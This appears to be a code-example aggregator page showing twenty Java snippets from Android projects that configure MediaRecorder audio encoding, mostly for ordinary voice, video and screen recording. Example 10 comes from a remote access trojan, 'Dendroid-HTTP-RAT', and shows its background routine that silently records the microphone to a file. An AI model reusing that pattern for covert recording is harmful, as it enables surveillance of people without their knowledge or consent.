Java Code Examples for android.media.MediaRecorder#setAudioEncoder()
The following examples show how to use
android.media.MediaRecorder#setAudioEncoder() .
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Example 1
| Source File: MediaRecorderSystemImpl.java From FamilyChat with Apache License 2.0 | 6 votes |
|
@Override
public void initRecorder(Camera camera, int cameraId, Surface surface, String filePath)
{
mMediaRecorder = new MediaRecorder();
mMediaRecorder.reset();
if (camera != null)
mMediaRecorder.setCamera(camera);
mMediaRecorder.setOnErrorListener(this);
mMediaRecorder.setPreviewDisplay(surface);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);//视频源
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//音频源
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);//视频输出格式 也可设为3gp等其他格式
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频格式
mMediaRecorder.setVideoSize(640, 480);//设置分辨率，市面上大多数都支持640*480
// mediaRecorder.setVideoFrameRate(25);//设置每秒帧数 这个设置有可能会出问题，有的手机不支持这种帧率就会录制失败，这里使用默认的帧率，当然视频的大小肯定会受影响
//这里设置可以调整清晰度
mMediaRecorder.setVideoEncodingBitRate(2 * 1024 * 512);
if (cameraId == Camera.CameraInfo.CAMERA_FACING_BACK)
mMediaRecorder.setOrientationHint(90);
else
mMediaRecorder.setOrientationHint(270);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//视频录制格式
mMediaRecorder.setOutputFile(filePath);
}
Example 2
| Source File: AudioRecordingActivity.java From coursera-android with MIT License | 6 votes |
|
private void startRecording() {
mRecorder = new MediaRecorder();
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mRecorder.setOutputFile(mFileName);
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
mRecorder.prepare();
} catch (IOException e) {
Log.e(TAG, "Couldn't prepare and start MediaRecorder");
}
mRecorder.start();
}
Example 3
| Source File: AudioDataCollector.java From DataLogger with MIT License | 6 votes |
|
public void prepare(int samplingRate) {
Log.i(TAG,"prepare:: Preparing listener for sensor "+getSensorName());
mRecorder = new MediaRecorder();
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_WB);
if (samplingRate != 0){
mRecorder.setAudioSamplingRate(samplingRate);
}
logFile = LoggerHelper.defineLogFilename(mContext, mPath, mBaseLogFilename, "3gp", false, mNanosOffset);
mRecorder.setOutputFile(logFile.getAbsolutePath());
try {
mRecorder.prepare();
} catch (IOException e) {
Log.e(TAG, "::prepare Error creating collector: " + e.getMessage());
}
}
Example 4
| Source File: OBVideoRecorder.java From GLEXP-Team-onebillion with Apache License 2.0 | 6 votes |
|
protected void initRecorder()
{
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mediaRecorder.setVideoEncodingBitRate(100000000);
mediaRecorder.setVideoFrameRate(30);
mediaRecorder.setVideoSize(videoSize.getWidth(),videoSize.getHeight());
mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
mediaRecorder.setAudioEncodingBitRate(128000);
mediaRecorder.setAudioSamplingRate(44100);
mediaRecorder.setOutputFile(recordedPath);
}
Example 5
| Source File: AudioRecorder.java From zom-android-matrix with Apache License 2.0 | 5 votes |
|
public void startAudioRecording() {
AudioManager am = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
if (am.getMode() == AudioManager.MODE_NORMAL) {
mediaRecorder = new MediaRecorder();
String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
outputFilePath = new File(context.getFilesDir(), fileName);
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
//maybe we can modify these in the future, or allow people to tweak them
mediaRecorder.setAudioChannels(1);
mediaRecorder.setAudioEncodingBitRate(22050);
mediaRecorder.setAudioSamplingRate(64000);
mediaRecorder.setOutputFile(outputFilePath.getAbsolutePath());
try {
isAudioRecording = true;
mediaRecorder.prepare();
mediaRecorder.start();
if (getVisualizerView() != null) {
startLevelListener();
}
} catch (Exception e) {
Log.e(LOG_TAG, "couldn't start audio", e);
}
}
}
Example 6
| Source File: RecordingService.java From GravityBox with Apache License 2.0 | 5 votes |
|
private void startRecording() {
String statusMessage = "";
String audioFileName = prepareOutputFile();
try {
mRecorder = new MediaRecorder();
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mRecorder.setOutputFile(audioFileName);
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
mRecorder.setAudioEncodingBitRate(96000);
mRecorder.setAudioSamplingRate(mSamplingRate);
mRecorder.setOnErrorListener(mOnErrorListener);
mRecorder.prepare();
mRecorder.start();
mRecordingStatus = RECORDING_STATUS_STARTED;
startForeground(1, mRecordingNotif);
} catch (Exception e) {
e.printStackTrace();
mRecordingStatus = RECORDING_STATUS_ERROR;
statusMessage = e.getMessage();
} finally {
Intent i = new Intent(ACTION_RECORDING_STATUS_CHANGED);
i.putExtra(EXTRA_RECORDING_STATUS, mRecordingStatus);
if (mRecordingStatus == RECORDING_STATUS_STARTED) {
i.putExtra(EXTRA_AUDIO_FILENAME, audioFileName);
}
i.putExtra(EXTRA_STATUS_MESSAGE, statusMessage);
sendBroadcast(i);
}
}
Example 7
| Source File: AudioRecorderActivity.java From microbit with Apache License 2.0 | 5 votes |
|
private void startRecording() {
releaseRecorder();
mRecorder = new MediaRecorder();
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mRecordFileOutput = getAudioFilename();
//TODO: check disk space left?
mRecorder.setOutputFile(mRecordFileOutput.getPath());
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
mRecorder.prepare();
} catch(IOException e) {
releaseRecorder();
//TODO: show popup for failure?
Log.e(TAG, e.toString());
return;
}
mRecorder.start();
mIsRecording = true;
//UI update
chronometer.setBase(SystemClock.elapsedRealtime());
chronometer.start();
filenameTxt.setText(mRecordFileOutput.getName());
imageMic.setImageDrawable(drawable_mic_on);
}
Example 8
| Source File: AudioUtil.java From Android with MIT License | 5 votes |
|
/**
* record voice
*/
public void prepareAudio() {
File dir = FileUtil.newContactFile(FileUtil.FileType.VOICE);
if (dir == null) {
return;
}
if (!dir.exists()) {
dir.mkdirs();
}
recordPath = generateAudioName();
mediaRecorder = new MediaRecorder();
try {
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFile(recordPath);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.prepare();
mediaRecorder.start();
} catch (Exception e) {
//When you enter the chat interface, Home key to exit the voice off
e.printStackTrace();
recordListener.startError();
mediaRecorder = null;
return;
}
recordTimer.start();
if (recordListener != null) {
recordListener.wellPrepared();
}
}
Example 9
| Source File: AudioManager.java From PlayTogether with Apache License 2.0 | 5 votes |
|
/**
* 准备录音
*/
public void prepareAudio()
{
try
{
isPrepare = false;
File dir = new File(mDir);
if (!dir.exists())
dir.mkdirs();
String fileName = UUID.randomUUID() + ".amr";
mFile = new File(dir, fileName);
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setOutputFile(mFile.getAbsolutePath());
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.AMR_NB);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mMediaRecorder.prepare();
mMediaRecorder.start();
isPrepare = true;
if (mAudioStateListener != null)
{
mAudioStateListener.hadPrepare();
}
} catch (Exception e)
{
e.printStackTrace();
isPrepare = false;
}
}
Example 10
| Source File: MyService.java From Dendroid-HTTP-RAT with GNU General Public License v3.0 | 5 votes |
|
@Override
protected String doInBackground(String... params) {
MediaRecorder recorder = new MediaRecorder();;
SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
String currentDateandTime = sdf.format(new Date());
String filename =currentDateandTime + ".3gp";
File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
diretory.mkdirs();
File outputFile = new File(diretory, filename);
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setMaxDuration(Integer.parseInt(i));
recorder.setMaxFileSize(1000000);
recorder.setOutputFile(outputFile.toString());
try
{
recorder.prepare();
recorder.start();
} catch (IOException e) {
Log.i("com.connect", "io problems while preparing");
e.printStackTrace();
}
return "Executed";
}
Example 11
| Source File: AudioRecorder.java From continuous-audiorecorder with BSD 2-Clause "Simplified" License | 5 votes |
|
/**
* Continues an existing record or starts a new one.
*
* @param listener The listener instance.
*/
@SuppressLint("NewApi")
public void start(@NonNull final OnStartListener listener) {
StartRecordTask task = new StartRecordTask();
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioEncodingBitRate(mMediaRecorderConfig.mAudioEncodingBitRate);
mMediaRecorder.setAudioChannels(mMediaRecorderConfig.mAudioChannels);
mMediaRecorder.setAudioSource(mMediaRecorderConfig.mAudioSource);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mMediaRecorder.setOutputFile(getTemporaryFileName());
mMediaRecorder.setAudioEncoder(mMediaRecorderConfig.mAudioEncoder);
task.execute(listener);
}
Example 12
| Source File: QiscusAudioRecorder.java From qiscus-sdk-android with Apache License 2.0 | 5 votes |
|
private void startRecording(String fileName) throws IOException {
if (!recording) {
this.fileName = fileName;
recording = true;
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
recorder.setOutputFile(fileName);
recorder.prepare();
recorder.start();
}
}
Example 13
| Source File: AudioRecorder.java From ChatMessagesAdapter-android with BSD 3-Clause "New" or "Revised" License | 5 votes |
|
private void initMediaRecorder() {
recorder = new MediaRecorder();
recorder.setAudioSource(configurationBuilder.audioSource);
recorder.setOutputFormat(configurationBuilder.outputFormat);
recorder.setOutputFile(configurationBuilder.filePath);
recorder.setAudioChannels(configurationBuilder.channels);
recorder.setAudioEncoder(configurationBuilder.audioEncoder);
recorder.setAudioEncodingBitRate(configurationBuilder.bitRate);
recorder.setAudioSamplingRate(configurationBuilder.samplingRate);
recorder.setMaxDuration(configurationBuilder.duration);
recorder.setOnInfoListener(new OnInfoListenerImpl());
recorder.setOnErrorListener(new OnErrorListenerImpl());
}
Example 14
| Source File: QPMScreenRecorderManager.java From QPM with Apache License 2.0 | 5 votes |
|
private void start(Activity activity, int resultCode, Intent data) {
if (mediaProjectionManager == null) {
return;
}
startTime = System.currentTimeMillis();
try {
mediaProjection = mediaProjectionManager.getMediaProjection(resultCode, data);
DisplayMetrics metrics = new DisplayMetrics();
activity.getWindowManager().getDefaultDisplay().getMetrics(metrics);
int screenWidth = metrics.widthPixels;
int screenHeight = metrics.heightPixels;
int density = metrics.densityDpi;
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mediaRecorder.setOutputFile(getSaveFile());
mediaRecorder.setVideoSize(screenWidth, screenHeight);
mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
mediaRecorder.setVideoEncodingBitRate(screenWidth * screenHeight);
mediaRecorder.setVideoFrameRate(30);
mediaRecorder.prepare();
display = mediaProjection.createVirtualDisplay(QPMScreenRecorderManager.class.getSimpleName(),
screenWidth, screenHeight, density, DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
mediaRecorder.getSurface(), null, null);
mediaRecorder.start();
} catch (Exception e){
e.printStackTrace();
onRecorderFailed(activity);
}
}
Example 15
| Source File: noxmllayoutexample.java From ui with Apache License 2.0 | 5 votes |
|
private void startRecording() {
mRecorder = new MediaRecorder();
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mRecorder.setOutputFile(mFileName);
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
mRecorder.prepare();
} catch (IOException e) {
Log.e(LOG_TAG, "prepare() failed");
}
mRecorder.start();
}
Example 16
| Source File: ConversationDetailActivity.java From Zom-Android-XMPP with GNU General Public License v3.0 | 4 votes |
|
public void startAudioRecording ()
{
int permissionCheck = ContextCompat.checkSelfPermission(this,
Manifest.permission.RECORD_AUDIO);
if (permissionCheck ==PackageManager.PERMISSION_DENIED)
{
// Should we show an explanation?
if (ActivityCompat.shouldShowRequestPermissionRationale(this,
Manifest.permission.RECORD_AUDIO)) {
// Show an expanation to the user *asynchronously* -- don't block
// this thread waiting for the user's response! After the user
// sees the explanation, try again to request the permission.
Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show();
} else {
// No explanation needed, we can request the permission.
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.RECORD_AUDIO},
MY_PERMISSIONS_REQUEST_AUDIO);
// MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
// app-defined int constant. The callback method gets the
// result of the request.
}
}
else {
AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
if (am.getMode() == AudioManager.MODE_NORMAL) {
mMediaRecorder = new MediaRecorder();
String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
mAudioFilePath = new File(getFilesDir(), fileName);
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
//maybe we can modify these in the future, or allow people to tweak them
mMediaRecorder.setAudioChannels(1);
mMediaRecorder.setAudioEncodingBitRate(22050);
mMediaRecorder.setAudioSamplingRate(64000);
mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath());
try {
mIsAudioRecording = true;
mMediaRecorder.prepare();
mMediaRecorder.start();
} catch (Exception e) {
Log.e(ImApp.LOG_TAG, "couldn't start audio", e);
}
}
}
}
Example 17
| Source File: Camera2.java From SimpleVideoEditor with Apache License 2.0 | 4 votes |
|
private boolean prepareMediaRecorder() {
// 默认使用最高质量拍摄
CamcorderProfile profile =
CamcorderProfile.
get(Integer.valueOf((String) mConfig.getCurrentCameraId()), CamcorderProfile.QUALITY_720P);
Size previewSize = chooseOptimalSize();
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setOutputFormat(profile.fileFormat);
mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
// mMediaRecorder.setVideoSize(mAspectRatio.getX(), mAspectRatio.getY());
// mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight);
mMediaRecorder.setVideoSize(previewSize.getWidth(), previewSize.getHeight());
@SuppressWarnings("ConstantConditions")
int sensorOrientation = mCameraCharacteristics.get(
CameraCharacteristics.SENSOR_ORIENTATION);
int rotation = (sensorOrientation +
mDisplayOrientation * (mConfig.getCurrentFacing() == Constants.CAMERA_FACING_FRONT ? 1 : -1) +
360) % 360;
mMediaRecorder.setOrientationHint(rotation);
mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
mMediaRecorder.setVideoEncoder(profile.videoCodec);
mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
mMediaRecorder.setAudioChannels(profile.audioChannels);
mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
mMediaRecorder.setAudioEncoder(profile.audioCodec);
mMediaRecorder.setOutputFile(mConfig.getResultFile().getAbsolutePath());
// 如果针对拍摄的文件大小和拍摄时间有设置的话，也可以在这里设置
try {
mMediaRecorder.prepare();
return true;
} catch (Exception e) {
Log.d(TAG, "prepareMediaRecorder: " + e);
}
// 这个时候出现了错误，应该释放有关资源
releaseVideoRecorder();
return false;
}
Example 18
| Source File: CameraEngine.java From In77Camera with MIT License | 4 votes |
|
private boolean prepareMediaRecorder() {
try {
// final Activity activity = getActivity();
//if (null == activity) return false;
//final BaseCaptureInterface captureInterface = (BaseCaptureInterface) activity;
// setCameraDisplayOrientation(mCamera.getParameters());
mMediaRecorder = new MediaRecorder();
camera.stopPreview();
camera.unlock();
mMediaRecorder.setCamera(camera);
// boolean canUseAudio = true;
//boolean audioEnabled = !mInterface.audioDisabled();
//if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
// canUseAudio = ContextCompat.checkSelfPermission(activity, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED;
// if (canUseAudio && audioEnabled) {
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
// } else if (audioEnabled) {
// Toast.makeText(getActivity(), R.string.mcam_no_audio_access, Toast.LENGTH_LONG).show();
// }
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT);
final CamcorderProfile profile = CamcorderProfile.get(currentCameraId, CamcorderProfile.QUALITY_HIGH);
mMediaRecorder.setOutputFormat(profile.fileFormat);
mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
mMediaRecorder.setVideoSize(previewSize.width, previewSize.height);
mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
mMediaRecorder.setVideoEncoder(profile.videoCodec);
mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
mMediaRecorder.setAudioChannels(profile.audioChannels);
mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
mMediaRecorder.setAudioEncoder(profile.audioCodec);
Uri uri = Uri.fromFile(FileUtils.makeTempFile(
new File(Environment.getExternalStorageDirectory(),
"/Omoshiroi/videos").getAbsolutePath(),
"VID_", ".mp4"));
mMediaRecorder.setOutputFile(uri.getPath());
// if (captureInterface.maxAllowedFileSize() > 0) {
// mMediaRecorder.setMaxFileSize(captureInterface.maxAllowedFileSize());
// mMediaRecorder.setOnInfoListener(new MediaRecorder.OnInfoListener() {
// @Override
// public void onInfo(MediaRecorder mediaRecorder, int what, int extra) {
// if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
// Toast.makeText(getActivity(), R.string.mcam_file_size_limit_reached, Toast.LENGTH_SHORT).show();
// stopRecordingVideo(false);
// }
// }
// });
// }
mMediaRecorder.setOrientationHint(90);
// mMediaRecorder.setPreviewDisplay(mPreviewView.getHolder().getSurface());
mMediaRecorder.prepare();
return true;
} catch (Exception e) {
camera.lock();
e.printStackTrace();
return false;
}
}
Example 19
| Source File: DefaultSurfaceRecorder.java From DeviceConnect-Android with MIT License | 4 votes |
|
private void setUpMediaRecorder(final File outputFile) throws IOException {
int rotation = getWindowManager().getDefaultDisplay().getRotation();
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mMediaRecorder.setOutputFile(outputFile.getAbsolutePath());
mMediaRecorder.setVideoEncodingBitRate(10000000);
mMediaRecorder.setVideoFrameRate(30);
mMediaRecorder.setVideoSize(mVideoSize.getWidth(), mVideoSize.getHeight());
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
int hint;
SparseIntArray orientations;
if (mFacing == Camera2Recorder.CameraFacing.FRONT) {
switch (rotation) {
case Surface.ROTATION_0:
rotation = Surface.ROTATION_0;
break;
case Surface.ROTATION_90:
rotation = Surface.ROTATION_270;
break;
case Surface.ROTATION_180:
rotation = Surface.ROTATION_180;
break;
case Surface.ROTATION_270:
rotation = Surface.ROTATION_90;
break;
}
}
switch (mSensorOrientation) {
case SENSOR_ORIENTATION_INVERSE_DEGREES:
orientations = INVERSE_ORIENTATIONS;
break;
case SENSOR_ORIENTATION_DEFAULT_DEGREES:
default:
orientations = DEFAULT_ORIENTATIONS;
break;
}
hint = orientations.get(rotation);
mMediaRecorder.setOrientationHint(hint);
mMediaRecorder.prepare();
if (DEBUG) {
Log.d(TAG, "VideoSize: " + mVideoSize.getWidth() + "x" + mVideoSize.getHeight());
Log.d(TAG, "OutputFile: " + outputFile.getAbsolutePath());
Log.d(TAG, "Facing: " + mFacing.getName());
Log.d(TAG, "SensorOrientation: " + mSensorOrientation);
Log.d(TAG, "DisplayRotation: " + rotation);
Log.d(TAG, "OrientationHint: " + hint);
}
}
Example 20
| Source File: ConversationDetailActivity.java From zom-android-matrix with Apache License 2.0 | 4 votes |
|
public void startAudioRecording ()
{
int permissionCheck = ContextCompat.checkSelfPermission(this,
Manifest.permission.RECORD_AUDIO);
if (permissionCheck ==PackageManager.PERMISSION_DENIED)
{
// Should we show an explanation?
if (ActivityCompat.shouldShowRequestPermissionRationale(this,
Manifest.permission.RECORD_AUDIO)) {
// Show an expanation to the user *asynchronously* -- don't block
// this thread waiting for the user's response! After the user
// sees the explanation, try again to request the permission.
Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show();
} else {
// No explanation needed, we can request the permission.
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.RECORD_AUDIO},
MY_PERMISSIONS_REQUEST_AUDIO);
// MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
// app-defined int constant. The callback method gets the
// result of the request.
}
}
else {
AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
if (am.getMode() == AudioManager.MODE_NORMAL) {
mMediaRecorder = new MediaRecorder();
String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
mAudioFilePath = new File(getFilesDir(), fileName);
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
//maybe we can modify these in the future, or allow people to tweak them
mMediaRecorder.setAudioChannels(1);
mMediaRecorder.setAudioEncodingBitRate(22050);
mMediaRecorder.setAudioSamplingRate(64000);
mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath());
try {
mIsAudioRecording = true;
mMediaRecorder.prepare();
mMediaRecorder.start();
} catch (Exception e) {
Log.e(LOG_TAG, "couldn't start audio", e);
}
}
}
}
